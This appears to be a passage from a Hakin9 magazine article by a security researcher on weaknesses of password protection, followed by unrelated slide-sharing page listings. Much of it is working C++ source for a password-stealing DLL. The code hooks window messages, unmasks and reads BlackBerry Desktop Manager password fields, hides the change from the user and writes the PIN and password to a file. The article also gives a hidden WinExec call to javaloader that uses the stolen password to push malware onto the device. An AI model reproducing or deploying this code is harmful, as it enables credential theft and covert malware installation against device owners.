from the screen. The window at the top of the z-order            wParam, LPARAM lParam) returns to us parameter
overlaps all other windows. The window at the bottom of          (LPARAM) Wnd = ((tagMSG*)lParam)->hwnd where
the z-order is overlapped by all other windows. Function         stored out handler for controls. Then we need to catch
retrieves a handle to a window that has the specified            again a password dialog and retrieve a edit’s handler.
relationship (Z-Order or owner) to the specified window.         After successful comparing both handlers you is able




Figure 15. Class name & Window Text of controls (v6) – part II   Figure 16. Class name & Window Text of controls (v6) – part III



www.hakin9.org/en                                                                                                                  47
EXPLOITING SOFTWARE
     Listing 7. Main de�nitions
     void __fastcall TForm1::FormCreate(TObject *Sender)           if (normally_closed)
     {                                                             {
         if (FileExists("c:pass.txt"))                               return;
         {                                                         }
             DeleteFile("c:pass.txt");                           if (xp_seven)
         }                                                         {
                                                                       if (RunStopHook != NULL)
                                                                       {
         vinfo.dwOSVersionInfoSize =                                       RunStopHook(false, hModule);
                            sizeof(OSVERSIONINFO);                     }
         GetVersionEx(&vinfo);                                         if (hModule != NULL)
         if (vinfo.dwMajorVersion == 4)                                {
         {
             this->Edit5->Text = "Windows NT 4.0, Windows              }
                            Me, Windows 98, or Windows 95";        }
         }                                                     }
         else if (vinfo.dwMajorVersion == 5)                   //--------------------------------------------------
         {                                                     void __fastcall TForm1::FormClose(TObject *Sender,
             this->Edit5->Text = "Windows Server 2003 R2,                           TCloseAction &Action)
                            Windows Server 2003, Windows XP,   {
                            or Windows 2000";                      if (xp_seven)
             xp_seven = false;                                     {
         }                                                             if (RunStopHook != NULL)
         else if (vinfo.dwMajorVersion == 6)                           {
         {                                                                 RunStopHook(false, hModule);
             this->Edit5->Text = "Windows Vista, Windows               }
                            Server Longhorn or Windows                 if (hModule != NULL)
                            Seven";                                    {
             xp_seven = true;                                              FreeLibrary(hModule);
             }                                                         }
                                                                   }
         if (xp_seven)                                             normally_closed = true;
         {                                                     }
             // Load the DLL file
             hModule = LoadLibrary("Catcher.dll");


             // Get the address of the function
             RunStopHook = (void *(__stdcall *)(bool, HIN
                            STANCE))GetProcAddress(hModule,
                            "_RunStopHook");


             //Start Catcher
             RunStopHook(true, hModule);
         }
         else
         {
                 this->CatchTimer->Enabled = true;
         }
     }
     //--------------------------------------------------
     void __fastcall TForm1::FormDestroy(TObject *Sender)
     {




48                                                                                                    www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


  Listing 8a. DLL Catcher
  HHOOK SysHook;                                            //Label like "PIN of Device:"
  HWND Wnd;                                                 char *stat_devc_text = (char
  HINSTANCE hInst;                                                     *)malloc(256);
  TStringList *in_list = new TStringList();                 //Label like "Your attemp counts:"
  //--------------------------------------------------      char *stat_attmp_text = (char *)malloc(256);
  int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned
                        long reason, void* lpReserved)      //In Z-order first of all get a password-
  {                                                                    static control
      hInst = (HINSTANCE)hinst;                             HWND stat_pass = FindWindowEx(window,
      return 1;                                                        NULL, "Static", "Password:");
  }                                                         //In Z-order previous of it is attemp's count
  //--------------------------------------------------      HWND stat_attmp = GetWindow(stat_pass, 3);
  extern "C" void __export RunStopHook(bool State,          //In Z-order next of it is Device PIN
                        HINSTANCE hInstance)                HWND stat_devc = GetWindow(stat_pass, 2);
  {
      if (true)                                             //get control's caption for a password-
      {                                                                static control
          SysHook = SetWindowsHookEx(WH_GETMESSAGE,         GetWindowText(stat_pass, stat_pass_text, 256);
                        &SysMsgProc, hInst, 0);             //get control's caption for a pin-static control
      }                                                     GetWindowText(stat_attmp, stat_attmp_text, 256);
      else                                                  //get control's caption for a attemp_
      {                                                                count-static control
          //clear our storage is it's unhooked              GetWindowText(stat_devc, stat_devc_text, 256);
          in_list->Clear();
          UnhookWindowsHookEx(SysHook);                     AnsiString DEV_PIN = AnsiString(stat_devc_text);
      }                                                     AnsiString ATTEMPT = AnsiString(stat_attmp_text);
  }
  //--------------------------------------------------      //correct a program version:
  LRESULT CALLBACK SysMsgProc(int code, WPARAM wParam,      //if NULL then BB Manager v4 or BB Manager v5
                        LPARAM lParam)                      //else everythin 's OK - BB Desktop Manager v6
              //hook code, removal flag, address of         if (DEV_PIN.Length() < 1)
                        structure with message              {
  {                                                             int pos = AnsiPos("n",
      //Pass message to other system hooks                             AnsiString(ATTEMPT.c_str()));
                                                                //extract a first part of Static (PIN)
                                                                DEV_PIN = ATTEMPT.SubString(1, pos - 1);
      //Check Message                                           //extract a second part of Static
      if (code == HC_ACTION)                                           (attempt' count)
      {                                                         AnsiString ATTEMPT = ATTEMPT.SubString(pos
          //Get Window's Handler that give a message                   + 1, ATTEMPT.Length() - pos);
          Wnd = ((tagMSG*)lParam)->hwnd;                    }


          //ClassName of Window                             free(stat_devc_text);
          char *internal = "#32770";                        free(stat_attmp_text);
          //Caption of Window                               free(stat_pass_text);
          char *external = "Device Password Required";
          //Catch a Window                                  //get handler of EditBox
          HWND window = FindWindow(internal, external);     HWND pass_hwnd = FindWindowEx(window,
          if ((bool)(int)window)                                       NULL, "Edit", NULL);
          {                                                 //Check desirable EditBox (with Parent
              //Label like "Password:"                                 Form's Caption "Device Password
              char *stat_pass_text = (char *)malloc(256);              Requied")




www.hakin9.org/en                                                                                               49
EXPLOITING SOFTWARE
     to steal password. Note, in this case (dll) you should            Purpose of life...
     redraw a control by invalidate-function (Listing 7-8).            What do criminals need password for? There’s a several
       Grand Success! Look at Figures 18-19. We’ve just                reasons on it.
     caught a bit more extra-protected password.




     Figure 17. Class name & Window Text of controls (v6) – part IV    Figure 18. Stolen password (v6) – part I

       Listing 8b. DLL Catcher
                   If (    ((bool)(int)pass_hwnd)       & (pass_                         {
                              hwnd == Wnd)      )                                              DEV_PIN = "EMPTY";
                   {                                                                     }
                       //unset password masking                                          if (ATTEMPT.Length() == 0)
                       SendMessage(Wnd, EM_SETPASSWORDCHAR, 0, 0);                       {
                       //ReDraw EditBox                                                        ATTEMPT = "EMPTY";
                       InvalidateRect(Wnd, 0, true);                                     }
                                                                                         if (password.Length() == 0)
                       //allocate memory for edit's password                             {
                       char *passw = (char *)malloc(256);                                      password = "EMPTY";
                                                                                         }
                       //Password's borrowing
                       SendMessage(Wnd, WM_GETTEXT,                                      //Store in StringList variable our PIN,
                              (WPARAM)256, (LPARAM)passw);                                        attemps count and pass
                                                                                         in_list->Add(DEV_PIN);
                       //store in new variable                                           in_list->Add(ATTEMPT);
                       AnsiString password =                                             in_list->Add(password);
                              AnsiString(passw);
                       free(passw);                                                      try
                                                                                         {
                       //Don't let him (user) see it. Paint out.                               in_list->SaveToFile("c:pass.txt");
                       //0x25CF is unicode character of black                            }
                              circle                                                     catch (Exception *ex)
                       //(dialog boxes on Win7, XP).                                     {
                       SendMessageW(Wnd, EM_SETPASSWORDCHAR,
                              0x25cf, 0);                                                                   }
                       //ReDraw EditBox                                              }
                       InvalidateRect(Wnd, 0, true);                                     }
                                                                             }
                       //If action is unsuccessfull set "EMPTY" info         return 0;
                       if (DEV_PIN.Length() == 0)                        }




50                                                                                                                   www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?



    THREE CONSTANTS OF BLACKBERRY DESKTOP SOFTWARE
    WINDOW TEXT       BlackBerry® Desktop Software
    CLASSNAME TEXT    HwndWrapper[Rim.Desktop.exe;;4f73dd50-23b3-416c-9ae3-81d8908073f1]

    WINDOW TEXT       Unlock BlackBerry® device
    CLASSNAME TEXT    HwndWrapper[Rim.Desktop.exe;;606b4596-b8eb-4102-8d62-5c87d2220001]

    WINDOW TEXT       Back Up Options
    CLASSNAME TEXT    HwndWrapper[Rim.Desktop.exe;;547a3dd4-57aa-4e40-a2ea-16b19fd1697e]




                                                                 JAVA LOADER USAGE
                                                                 Usage: JavaLoader [-u] [-p<port>|<pin>] [-b<baud>] [-d0|-
                                                                 d1] [-w<password>] [-q] <command>

                                                                 -u                  Connect to USB handheld (default is
                                                                 serial)
                                                                 -w<password>        Connects using the speci�ed password
                                                                 -q                  Quiet mode
                                                                 <command> is of
                                                                  load <.cod file>   Loads modules onto the handheld
                                                                  load <.jad file>   Load modules described by JAD onto
                                                                 the handheld
                                                                  wipe [-a|-f]     Wipes the handheld
                                                                      -a           Wipe applications only
                                                                    -f             Wipe �lesystem only
                                                                 radio on|off      Turns the handheld’s radio on or off
                                                                  screenshot    <.bmp      file> Retreives the current screen

Figure 19. Stolen password (v6)– part II                         contents and saves it as a BMP �le
                                                                  resettofactory Reset IT policy to factory settings
•    If we’re lucky we’ll find the same lost device where
     we had stolen a password in old days.
•    If we’re lucky again we’ll steal the .ipd backup file
     that encrypted with the same password, and
                                                                 RESULT OF JAVALOADER-ATTACKER
     • Decrypt it (and sell it, or do nothing)                   >JavaLoader.exe   -u   -wSuPeRp@s$w0rD#   load       Mobile
     • Decrypt it and replace several field in it and sit        Application1.cod
                                                                 RIM Wireless Handheld Java Loader
         and wait when user is upload modified backup            Copyright 2001-2007 Research In Motion Limited
         file into device. Maybe he found phone numbers          Connected
                                                                 Loading MobileApplication1             Done
         that replaced between contacts or deleted               4972 bytes sent at ~19888 bps
                                                                 Disconnected
         messages; or steal owner certificates. More             >
         ideas on it you can find in July 2011 Issue Does
         your BlackBerry has ears?.




Figure 20. BB Desktop Manager’s Handlers – part I              Figure 21. BB Desktop Manager’s Handlers – part II



www.hakin9.org/en                                                                                                               51
EXPLOITING SOFTWARE
     •       We attack device via javaloader and load one more                 According to DLL-Cacther and system hooks is
             malware bypassing a user’s attentiveness.                      possible to make a key-logger that waiting two handler
                                                                            then stealing a password and hibernating watcher
     In case 2, if we’re not lucky we need to catch another                 mechanism.
     password dialog (backup pass dialog). Those is part                       Let’s detail case 3. JavaLoader is part of BlackBerry
     of BB Manager. By the way, if you’ve already run a                     JDE. You can use the JavaLoader.exe file to perform
     BB Manager no one tray password dialog is pop-up;                      low-level, debugging, or loading operations on a
     you’ll see a pass dialog (v6) that belong BB Mananger                  BlackBerry. JavaLoader.exe is a powerful tool that
     window. BB Manager v4 or v5 is based on C++ (and                       can be used for various administrative tasks on the
     method is the same like previous), but BB Desktop                      BlackBerry, however most users (and admins too)
     Manager is based on C#. Thus, it impossible to use                     find it difficult to use. It uses when you’re developing
     WINAPI for stealing. But there’s problem solving.                      a program and need to debug it into simulator or real
     We still can catch a window dialog like Unlocking                      device. To attack we need a dropper exe file (kaspersky
     device and Backup device’s data. Look at THREE                         notation) that stored a password’s catcher exe file & dll
     CONSTANTS          OF     BLACKBERRY        DESKTOP                    file and javaloader.exe. Let us run it and see available
     SOFTWARE and Figures 20-21.                                            commands.


         On the ‘Net
         •    http://docs.blackberry.com/en/admin/deliverables/12063/BlackBerry_Enterprise_Server-Policy_Reference_Guide-T323212-832026-
              1023123101-001-5.0.1-US.pdf – BlackBerry Enterprise Server Version: 5.0. Policy Reference Guide, RIM,
         •    http://docs.blackberry.com/en/developers/deliverables/11961/BlackBerry_Java_Application-Feature_and_Technical_Overview--
              789336-1109112514-001-5.0_Beta-US.pdf – BlackBerry Java Application. Version: 5.0. Feature and Technical Overview, RIM
         •    http://docs.blackberry.com/en/developers/deliverables/9091/JDE_5.0_FundamentalsGuide_Beta.pdf – BlackBerry Java Applica-
              tion. Version: 5.0. Fundamentals Guide, RIM,
         •    http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_Ap-
              plication_Developer_Guide_Volume_1.pdf?nodeid=1106256&vernum=0 – BlackBerry Application Developer Guide Volume 1:
              Fundamentals (4.1), RIM,
         •    http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_Appli-
              cation_Developer_Guide_Volume_2.pdf?nodeid=1106444&vernum=0 – BlackBerry Application Developer Guide Volume 2:
              Advanced Topics (4.1), RIM,
         •    http://www.blackberry.com/developers/docs/4.2api/ – RIM Device Java Library – 4.2.0 Release (Javadoc), RIM,
         •    http://docs.blackberry.com/en/developers/deliverables/15497/BlackBerry_Smartphone_Simulator-Development_Guide--1001926-
              0406042642-001-5.0-US.pdf – BlackBerry Smartphone Simulator. Version: 5.0. Development Guide, RIM,
         •    http://docs.blackberry.com/en/developers/deliverables/1077/BlackBerry_Signing_Authority_Tool_1.0_-_Password_Based_-_Ad-
              ministrator_Guide.pdf – BlackBerry Signature Tool 1.0. Developer Guide, RIM
         •    http://www.securingthehuman.org/newsletters/ouch/issues/OUCH-201105_en.pdf – Protecting Your Passwords. Dr. Cole, foun-
              der of Secure Anchor Consulting. OUCH! | May 2011
         •    http://www.securelist.com/en/weblog?weblogid=208188024 – Too many passwords? David Emm, Kaspersky Lab Expert
         •    http://www.securelist.com/en/weblog?weblogid=192873136 – When your brain runs out of memory. Magnus Kalkuhl, Kasper-
              sky Lab Expert
         •    http://www.cases.public.lu/fr/actualites/actualites/2008/11/19_SE/EN/index.html – The majority of Luxembourgers disclose per-
              sonal data without hesitation
         •    http://ss64.com/nt/net_useradmin.html – list of Windows command shell’s commands.
         •    http://www.hackzone.ru/articles/view/id/7703/ – A Windows Vista/Seven password breaking
         •    http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/348583/800332/800505/800256/How_to_-_Protect_
              BlackBerry_applications_with_a_password_screen.html?nodeid=800506&vernum=0 – How to – Protect BlackBerry applica-
              tions with a password screen. BlackBerry Developers Knowledge Base. Article Number: DB-00135
         •    http://msdn.microsoft.com/en-us/library/ms644944(v=vs.85).aspx – PostMessage Function.MSDN
         •    http://msdn.microsoft.com/en-us/library/ms644950(v=vs.85).aspx – SendMessage Function.MSDN
         •    http://msdn.microsoft.com/en-us/library/ms644927(v=vs.85).aspx#system_de�ned – About Messages and Message Queues.
              System-De�ned Messages. MSDN.
         •    http://msdn.microsoft.com/en-us/library/ms632627(v=vs.85).aspx – WM_GETTEXT Message.MSDN
         •    http://www.f-secure.com/vulnerabilities/SA8329 – Windows 2000/XP PostMessage Password Disclosure. F-Secure, Vulnerabili-
              ty Reports SA8329.
         •    http://msdn.microsoft.com/en-us/library/ms633499(v=vs.85).aspx – FindWindow Function.MSDN
         •    http://msdn.microsoft.com/en-us/library/ms633500(v=vs.85).aspx – FindWindowEx Function.MSDN
         •    http://msdn.microsoft.com/en-us/library/ms633515(v=vs.85).aspx – GetWindow Function.MSDN
         •    http://msdn.microsoft.com/en-us/library/ms632599(v=vs.85).aspx#zorder – Z-Order.MSDN
         •    http://msdn.microsoft.com/en-us/library/ms687393(v=vs.85).aspx – WinExec Function.MSDN
         •    http://msdn.microsoft.com/en-us/library/ms633548(v=vs.85).aspx – ShowWindow Function’s parameter.MSDN




52                                                                                                                       www.hakin9.org/en
Why Is Password Protection a Fallacy – a Point of View?


   As can you see there’s a several command to connect             Graphical password 2. It’s also known as Zero-
with extra parameters. Common connect-command                    knowledge proof. System shows a two hundreds of
need to know a device password. OK, we’ve already                pictures asking you to choose several. During authorization
steal it. There’s one more extra parameter that set a            you need to find some of them and click inside mention-
silence of actions.                                              draw area. Then do the same several times. It takes for a
   Now, malware’s writer just need to program a                  long time but difficult to reproduce.
subroutine that executes a shell-command. We can do
it by following part of code (C++ or Delphi):                    Conclusion
                                                                 In the first part we saw the techniques of self-safeguarding
WinExec(„javaloader.exe” -u -wSuPeRp@s$w0rD# load                related to the issues identity theft, e.g. advice how to make
MobileApplication1.cod”, SW_HIDE);                               a good password. We had also seen some of the tricks
                                                                 which could used by the malwares to steal a password’s
Let’s Result of javaloader-attacker.                             preview. By the way, we examined a login bugs (Windows
                                                                 Vista/Seven, iPhone) and login spoofing technique that’s
Modern way of password protection system                         used on blackberry devices. These techniques use a
One-time password. Safeguard rule for password is                misleading by fake error messages such null-pointer
once-time using and next time use other password.                error notification or process terminate notification. In the
That idea is used by the European banks called                   second part we would focus on some of the interesting
TrancActionNumber. Clients use a card that stores                methodologies which are commonly used in security
hundred passwords under protected area tap (like                 bypassing ideas over OS’s security layer. Step by step we
a card of payment of cellular services). Every bank              were approaching to fundamentals consist in blackbox
transaction requests login, secret password and that             ideas and security through obscurity. We discussed
session password. When those passwords come to the               several tricks of stealing password from BlackBerry
end clients receive a new card. Another way of these             Desktop Software (BB Device Manager) password-boxes
systems’ protection uses a sms-password protection.              on Windows XP and Windows Vista/Seven when your
User receives a password or web-url to password that             is connected to PC as some kind of deal with questions
expires in 1 or 2 minutes. It’s also possible to receive         of dll-injecting into blackberry process to reveal masked
not only text-message but audio messages and picture             characters of pressed characters (keylogging).
messages.                                                          In due course when the passwords 7-14 characters in
   Biometric authentication. It’s extremely insecure             length were considered as the reliable password have
solution today. Finger scanner is deceived with finger-          passed. Passwords can contain upto 127 symbols, but
spoofing which based on stomatologic paste. Cheat                there is no advantage in using it. As it is known, the
level is 80% whereas that way of protection fails in             most vulnerable point is the user which can’t keep in
10%.                                                             memory several difficult passwords. Sometimes even
   Smart-card. No memorizing is one of advantage of it.          one difficult password, dictionary attacks, system of
Simply insert card into card-scanner to access. Acoustic         automatic selection of all possible combinations of
recording caught a 90% of emitting sounds. It’s enough           signs allows to open such password a maximum for
to recover PINs and it’s very cheap equipment.                   a week. In fact, cornerstone is in the authentication
   Unconscious password 1. The system developed                  system. Remember, only paranoiac which don’t feel
at the Jerusalem University allows people to use                 himself in safety is in safety.
such passwords which shouldn’t be remembered.
Experiments show the brain reliably keeps images                 YURY CHEMERKIN
of pictures, nonexistent pseudo-words or artificial              Graduated at Russian State University for the Humanities
grammatical designs. We can’t describe it with self-             (http://rggu.com/) in 2010. At present postgraduate at RSUH.
recitation in details however it easily to think of it in case   Information Security Analyst since 2009 and currently works
it has been shown. You review several pictures choosing          as mobile info security researcher in Moscow.
appropriate object to learn recognition system. But it’s         I have scienti�c and applied interests in the sphere of
impracticality and wasting time.                                 forensics, cyber security, AR, perceptive reality, semantic
   Unconscious password 2 – Graphical password                   networks, mobile security and cloud computing. I’m
1. PassPoint show a picture to you asking four area              researching BlackBerry Infrastructure and the effects of the
chosen. During authorization you’ll see the same picture         trust bot-net & forensic techniques on the human privacy.
asking to choose four areas again to proof yourself.             E-mail: yury.chemerkin@gmail.com
In other words, password-protection is changed by                (yury.chemerkin@facebook.com)
coordinates-protection. But it makes no difference               Facebook: www.facebook.com/yury.chemerkin
between any kinds of protected data.                             LinkedIn: http://ru.linkedin.com/pub/yury-chemerkin/2a/434/549



www.hakin9.org/en                                                                                                                 53

Contenu connexe

Tendances

Ncsam 2019-cybersecurity-awareness-trivia final-508
Ncsam 2019-cybersecurity-awareness-trivia final-508Ncsam 2019-cybersecurity-awareness-trivia final-508
Ncsam 2019-cybersecurity-awareness-trivia final-508Vishwan Aranha
 
Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...
Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...
Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...Kimberley Dray
 
Protecting Your Privacy: Cyberspace Security, Real World Safety
Protecting Your Privacy: Cyberspace Security, Real World SafetyProtecting Your Privacy: Cyberspace Security, Real World Safety
Protecting Your Privacy: Cyberspace Security, Real World SafetyAEGILITY
 
Digital security for Sri Lankan activists
Digital security for Sri Lankan activistsDigital security for Sri Lankan activists
Digital security for Sri Lankan activistsSanjana Hattotuwa
 
Color Based Authentication Scheme for Publically Disclosable Entities
Color Based Authentication Scheme for Publically Disclosable EntitiesColor Based Authentication Scheme for Publically Disclosable Entities
Color Based Authentication Scheme for Publically Disclosable EntitiesIJERA Editor
 
eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS USING SE-TOOLKIT – A CA...
eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS  USING SE-TOOLKIT – A CA...eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS  USING SE-TOOLKIT – A CA...
eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS USING SE-TOOLKIT – A CA...Kevin M. Moker, CFE, CISSP, ISSMP, CISM
 
Third index
Third indexThird index
Third indexezaz123
 
Essential Technologies for Psychologists
Essential Technologies for PsychologistsEssential Technologies for Psychologists
Essential Technologies for PsychologistsBradnor444
 
Is Data Secure On The Password Protected Blackberry Device
Is Data Secure On The Password Protected Blackberry DeviceIs Data Secure On The Password Protected Blackberry Device
Is Data Secure On The Password Protected Blackberry DeviceYury Chemerkin
 
The strategies of password
The strategies of passwordThe strategies of password
The strategies of passwordAlimasmali3
 
Security Awareness 101
Security Awareness 101Security Awareness 101
Security Awareness 101HaroldCo
 
3 f6 security
3 f6 security3 f6 security
3 f6 securityop205
 
Cyber crime trends in 2013
Cyber crime trends in 2013 Cyber crime trends in 2013
Cyber crime trends in 2013 The eCore Group
 

Tendances (18)

Ethical hacking
Ethical hackingEthical hacking
Ethical hacking
 
Ncsam 2019-cybersecurity-awareness-trivia final-508
Ncsam 2019-cybersecurity-awareness-trivia final-508Ncsam 2019-cybersecurity-awareness-trivia final-508
Ncsam 2019-cybersecurity-awareness-trivia final-508
 
Cyber Security
Cyber SecurityCyber Security
Cyber Security
 
Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...
Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...
Co-Presented: YOU are the Alpha and Omega of a Secure Future (Kottova / Dray)...
 
Protecting Your Privacy: Cyberspace Security, Real World Safety
Protecting Your Privacy: Cyberspace Security, Real World SafetyProtecting Your Privacy: Cyberspace Security, Real World Safety
Protecting Your Privacy: Cyberspace Security, Real World Safety
 
Digital security for Sri Lankan activists
Digital security for Sri Lankan activistsDigital security for Sri Lankan activists
Digital security for Sri Lankan activists
 
Color Based Authentication Scheme for Publically Disclosable Entities
Color Based Authentication Scheme for Publically Disclosable EntitiesColor Based Authentication Scheme for Publically Disclosable Entities
Color Based Authentication Scheme for Publically Disclosable Entities
 
Infinitytech New
Infinitytech NewInfinitytech New
Infinitytech New
 
eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS USING SE-TOOLKIT – A CA...
eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS  USING SE-TOOLKIT – A CA...eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS  USING SE-TOOLKIT – A CA...
eForensics Magazine - HOW TO STEAL GMAIL CREDENTIALS USING SE-TOOLKIT – A CA...
 
eForensics_17_2013_KMOKER
eForensics_17_2013_KMOKEReForensics_17_2013_KMOKER
eForensics_17_2013_KMOKER
 
Third index
Third indexThird index
Third index
 
Essential Technologies for Psychologists
Essential Technologies for PsychologistsEssential Technologies for Psychologists
Essential Technologies for Psychologists
 
Is Data Secure On The Password Protected Blackberry Device
Is Data Secure On The Password Protected Blackberry DeviceIs Data Secure On The Password Protected Blackberry Device
Is Data Secure On The Password Protected Blackberry Device
 
The strategies of password
The strategies of passwordThe strategies of password
The strategies of password
 
Security Awareness 101
Security Awareness 101Security Awareness 101
Security Awareness 101
 
File+upload+test
File+upload+testFile+upload+test
File+upload+test
 
3 f6 security
3 f6 security3 f6 security
3 f6 security
 
Cyber crime trends in 2013
Cyber crime trends in 2013 Cyber crime trends in 2013
Cyber crime trends in 2013
 

En vedette

Interview with Yury Chemerkin
Interview with Yury ChemerkinInterview with Yury Chemerkin
Interview with Yury ChemerkinYury Chemerkin
 
Social network privacy.
Social network privacy.Social network privacy.
Social network privacy.Yury Chemerkin
 
When developers api simplify user mode rootkits development – part ii
When developers api simplify user mode rootkits development – part iiWhen developers api simplify user mode rootkits development – part ii
When developers api simplify user mode rootkits development – part iiYury Chemerkin
 
Social network privacy guide
Social network privacy guideSocial network privacy guide
Social network privacy guideYury Chemerkin
 
Does your black berry smartphone have ears
Does your black berry smartphone have earsDoes your black berry smartphone have ears
Does your black berry smartphone have earsYury Chemerkin
 
Social Network Privacy II
Social Network Privacy IISocial Network Privacy II
Social Network Privacy IIYury Chemerkin
 
Comparison of android and black berry forensic techniques
Comparison of android and black berry forensic techniquesComparison of android and black berry forensic techniques
Comparison of android and black berry forensic techniquesYury Chemerkin
 

En vedette (7)

Interview with Yury Chemerkin
Interview with Yury ChemerkinInterview with Yury Chemerkin
Interview with Yury Chemerkin
 
Social network privacy.
Social network privacy.Social network privacy.
Social network privacy.
 
When developers api simplify user mode rootkits development – part ii
When developers api simplify user mode rootkits development – part iiWhen developers api simplify user mode rootkits development – part ii
When developers api simplify user mode rootkits development – part ii
 
Social network privacy guide
Social network privacy guideSocial network privacy guide
Social network privacy guide
 
Does your black berry smartphone have ears
Does your black berry smartphone have earsDoes your black berry smartphone have ears
Does your black berry smartphone have ears
 
Social Network Privacy II
Social Network Privacy IISocial Network Privacy II
Social Network Privacy II
 
Comparison of android and black berry forensic techniques
Comparison of android and black berry forensic techniquesComparison of android and black berry forensic techniques
Comparison of android and black berry forensic techniques
 

Similaire à Why is password protection a fallacy a point of view

Why is password protection a fallacy a point of view
Why is password protection a fallacy a point of viewWhy is password protection a fallacy a point of view
Why is password protection a fallacy a point of viewSTO STRATEGY
 
How to choose a password that’s hard to crack
How to choose a password that’s hard to crackHow to choose a password that’s hard to crack
How to choose a password that’s hard to crackKlaus Drosch
 
Network Security
Network SecurityNetwork Security
Network SecuritySOBXTECH
 
5 tips for an unbreakable password
5 tips for an unbreakable password5 tips for an unbreakable password
5 tips for an unbreakable passwordSafeSpaceOnline
 
Improving Password Based Security
Improving Password Based SecurityImproving Password Based Security
Improving Password Based SecurityRare Input
 
Password Management
Password ManagementPassword Management
Password ManagementDavon Smart
 
Password Strength Policy Query
Password Strength Policy QueryPassword Strength Policy Query
Password Strength Policy QueryGloria Stoilova
 
Computer Privacy:Passwords-Mike B.
Computer Privacy:Passwords-Mike B.Computer Privacy:Passwords-Mike B.
Computer Privacy:Passwords-Mike B.Mike Barker
 
An Introduction To IT Security And Privacy In Libraries & Anywhere
An Introduction To IT Security And Privacy In Libraries & AnywhereAn Introduction To IT Security And Privacy In Libraries & Anywhere
An Introduction To IT Security And Privacy In Libraries & AnywhereBlake Carver
 
Be Cyber Smart! (DLH 10/25/2019)
Be Cyber Smart! (DLH 10/25/2019)Be Cyber Smart! (DLH 10/25/2019)
Be Cyber Smart! (DLH 10/25/2019)David Herrington
 
Password Cracking
Password CrackingPassword Cracking
Password CrackingSagar Verma
 
Password cracking and brute force tools
Password cracking and brute force toolsPassword cracking and brute force tools
Password cracking and brute force toolszeus7856
 
Ethical hacking for Business or Management.pptx
Ethical hacking for Business or Management.pptxEthical hacking for Business or Management.pptx
Ethical hacking for Business or Management.pptxFarhanaMariyam1
 
Security_Awareness_Primer.pptx
Security_Awareness_Primer.pptxSecurity_Awareness_Primer.pptx
Security_Awareness_Primer.pptxFaith Shimba
 
Online safety 101
Online safety 101Online safety 101
Online safety 101Greg Bold
 
Greater Wheeling AITP Web Security
Greater Wheeling AITP Web SecurityGreater Wheeling AITP Web Security
Greater Wheeling AITP Web SecurityJohn Parkinson
 
Awareness Security 123.pptx
Awareness Security 123.pptxAwareness Security 123.pptx
Awareness Security 123.pptxRajuSingh730938
 

Similaire à Why is password protection a fallacy a point of view (20)

Why is password protection a fallacy a point of view
Why is password protection a fallacy a point of viewWhy is password protection a fallacy a point of view
Why is password protection a fallacy a point of view
 
How to choose a password that’s hard to crack
How to choose a password that’s hard to crackHow to choose a password that’s hard to crack
How to choose a password that’s hard to crack
 
Network Security
Network SecurityNetwork Security
Network Security
 
5 tips for an unbreakable password
5 tips for an unbreakable password5 tips for an unbreakable password
5 tips for an unbreakable password
 
Improving Password Based Security
Improving Password Based SecurityImproving Password Based Security
Improving Password Based Security
 
Password Management
Password ManagementPassword Management
Password Management
 
Password Strength Policy Query
Password Strength Policy QueryPassword Strength Policy Query
Password Strength Policy Query
 
Computer Privacy:Passwords-Mike B.
Computer Privacy:Passwords-Mike B.Computer Privacy:Passwords-Mike B.
Computer Privacy:Passwords-Mike B.
 
W make107
W make107W make107
W make107
 
An Introduction To IT Security And Privacy In Libraries & Anywhere
An Introduction To IT Security And Privacy In Libraries & AnywhereAn Introduction To IT Security And Privacy In Libraries & Anywhere
An Introduction To IT Security And Privacy In Libraries & Anywhere
 
Be Cyber Smart! (DLH 10/25/2019)
Be Cyber Smart! (DLH 10/25/2019)Be Cyber Smart! (DLH 10/25/2019)
Be Cyber Smart! (DLH 10/25/2019)
 
Password Cracking
Password CrackingPassword Cracking
Password Cracking
 
Password cracking and brute force tools
Password cracking and brute force toolsPassword cracking and brute force tools
Password cracking and brute force tools
 
Getting authentication right
Getting authentication rightGetting authentication right
Getting authentication right
 
Ethical hacking for Business or Management.pptx
Ethical hacking for Business or Management.pptxEthical hacking for Business or Management.pptx
Ethical hacking for Business or Management.pptx
 
Security_Awareness_Primer.pptx
Security_Awareness_Primer.pptxSecurity_Awareness_Primer.pptx
Security_Awareness_Primer.pptx
 
Online safety 101
Online safety 101Online safety 101
Online safety 101
 
Encryption by fastech
Encryption by fastechEncryption by fastech
Encryption by fastech
 
Greater Wheeling AITP Web Security
Greater Wheeling AITP Web SecurityGreater Wheeling AITP Web Security
Greater Wheeling AITP Web Security
 
Awareness Security 123.pptx
Awareness Security 123.pptxAwareness Security 123.pptx
Awareness Security 123.pptx
 

Plus de Yury Chemerkin

Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...
Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...
Security Vulnerability Notice SE-2012-01-PUBLIC [Security vulnerabilities in ...Yury Chemerkin
 
Red october. detailed malware description
Red october. detailed malware descriptionRed october. detailed malware description
Red october. detailed malware descriptionYury Chemerkin
 
Comment crew indicators of compromise
Comment crew indicators of compromiseComment crew indicators of compromise
